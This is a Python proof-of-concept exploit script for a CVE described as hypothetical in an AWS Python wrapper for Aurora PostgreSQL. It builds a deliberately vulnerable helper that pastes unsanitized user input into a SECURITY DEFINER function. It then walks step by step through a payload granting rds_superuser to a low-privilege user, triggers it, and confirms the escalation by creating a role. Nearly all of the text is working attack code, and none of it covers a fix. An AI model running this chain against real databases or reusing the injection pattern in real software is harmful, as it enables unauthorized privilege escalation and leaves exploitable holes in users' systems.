Vulnerable code sample

import psycopg2
import os
import sys

# Placeholder for database connection details.
# In a real scenario, these must be configured to point to an Aurora PostgreSQL instance.
# The ADMIN user should have permissions to create SECURITY DEFINER functions (e.g., be part of rds_superuser).
# The USER should be a low-privilege user.
#
# Example:
# ADMIN_CONN_STRING = "dbname='testdb' user='rds_admin' host='aurora-instance.cluster-xxxx.region.rds.amazonaws.com' password='admin_password'"
# USER_CONN_STRING = "dbname='testdb' user='low_priv_user' host='aurora-instance.cluster-xxxx.region.rds.amazonaws.com' password='user_password'"

ADMIN_CONN_STRING = os.environ.get("ADMIN_CONN_STRING", "")
USER_CONN_STRING = os.environ.get("USER_CONN_STRING", "")


def vulnerable_wrapper_function(db_cursor, function_logic_from_user):
    """
    This function represents the vulnerable code in the AWS Python Wrapper before the fix.
    It's intended to create a helper function in the database on behalf of the user.

    The vulnerability has two key components:
    1. It creates a function with `SECURITY DEFINER`, meaning the function will execute
       with the permissions of the user who created it (the admin), not the user who calls it.
    2. It insecurely injects user-provided string `function_logic_from_user` directly
       into the function's body, allowing an attacker to define what the function does.
    """
    print("[VULN WRAPPER] Creating a SECURITY DEFINER function with user-provided logic.")
    
    # The flaw: Unsanitized user input is placed directly into the body of a privileged function.
    sql_query = f"""
    CREATE OR REPLACE FUNCTION public.vulnerable_utility_function()
    RETURNS text AS $$
    BEGIN
        -- This part of the function logic is controlled by the user.
        {function_logic_from_user}
        RETURN 'executed';
    END;
    $$ LANGUAGE plpgsql SECURITY DEFINER;
    """
    
    db_cursor.execute(sql_query)
    print("[VULN WRAPPER] Function 'public.vulnerable_utility_function' has been created/replaced.")


def main():
    """
    Demonstrates the end-to-end exploit for CVE-2025-12967.
    """
    if not ADMIN_CONN_STRING or not USER_CONN_STRING:
        print("Error: Please set ADMIN_CONN_STRING and USER_CONN_STRING environment variables.")
        sys.exit(1)

    # --- Phase 1: Attacker (low_priv_user) prepares the malicious payload ---
    # The attacker crafts a piece of PL/pgSQL code that, when executed by a privileged
    # user, will grant the attacker the 'rds_superuser' role.
    print("--- Phase 1: Attacker prepares payload ---")
    attacker_username = USER_CONN_STRING.split("user='")[1].split("'")[0]
    malicious_payload = f"EXECUTE 'GRANT rds_superuser TO {attacker_username}';"
    print(f"[ATTACKER] Payload crafted: \"{malicious_payload}\"")

    # --- Phase 2: Privileged user (admin) uses the vulnerable wrapper ---
    # The admin, unaware of the flaw, uses the AWS wrapper function to create what
    # they believe is a benign utility function. They pass the attacker's input,
    # perhaps thinking it's for simple logging or calculation.
    print("\n--- Phase 2: Admin runs vulnerable wrapper function ---")
    try:
        with psycopg2.connect(ADMIN_CONN_STRING) as admin_conn:
            with admin_conn.cursor() as admin_cursor:
                # The admin calls the vulnerable function from the wrapper library
                vulnerable_wrapper_function(admin_cursor, malicious_payload)
                print("[ADMIN] Admin operation completed.")
    except Exception as e:
        print(f"[ADMIN] Error: Could not connect as admin or execute wrapper. {e}")
        sys.exit(1)

    # --- Phase 3: Attacker executes the function to escalate privileges ---
    # Now, the attacker (or any user) can call the newly created function.
    # Because it was created by the admin with `SECURITY DEFINER`, the malicious
    # payload inside it will run with the admin's permissions.
    print("\n--- Phase 3: Attacker triggers the exploit ---")
    try:
        with psycopg2.connect(USER_CONN_STRING) as user_conn:
            with user_conn.cursor() as user_cursor:
                print("[ATTACKER] Calling 'public.vulnerable_utility_function()' to run payload...")
                user_cursor.execute("SELECT public.vulnerable_utility_function();")
                print("[ATTACKER] Payload executed.")

                # --- Phase 4: Verification ---
                # The attacker verifies if they have successfully gained 'rds_superuser'
                # privileges by attempting to perform an action that requires it,
                # such as creating a new role.
                print("\n--- Phase 4: Verification of escalated privileges ---")
                print("[ATTACKER] Attempting to create a new role 'pwned_role'...")
                user_cursor.execute("CREATE ROLE pwned_role;")
                user_conn.commit()
                print("[SUCCESS] Role 'pwned_role' created successfully. Privilege escalation confirmed.")

                # Cleanup
                user_cursor.execute("DROP ROLE pwned_role;")
                print("[ATTACKER] Cleanup: Dropped 'pwned_role'.")

    except psycopg2.Error as e:
        print(f"[FAILURE] Privilege escalation failed. Error: {e}")
        print("The user likely does not have rds_superuser privileges.")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")


if __name__ == "__main__":
    print("### PoC for CVE-2025-12967 (Hypothetical Vulnerability) ###")
    main()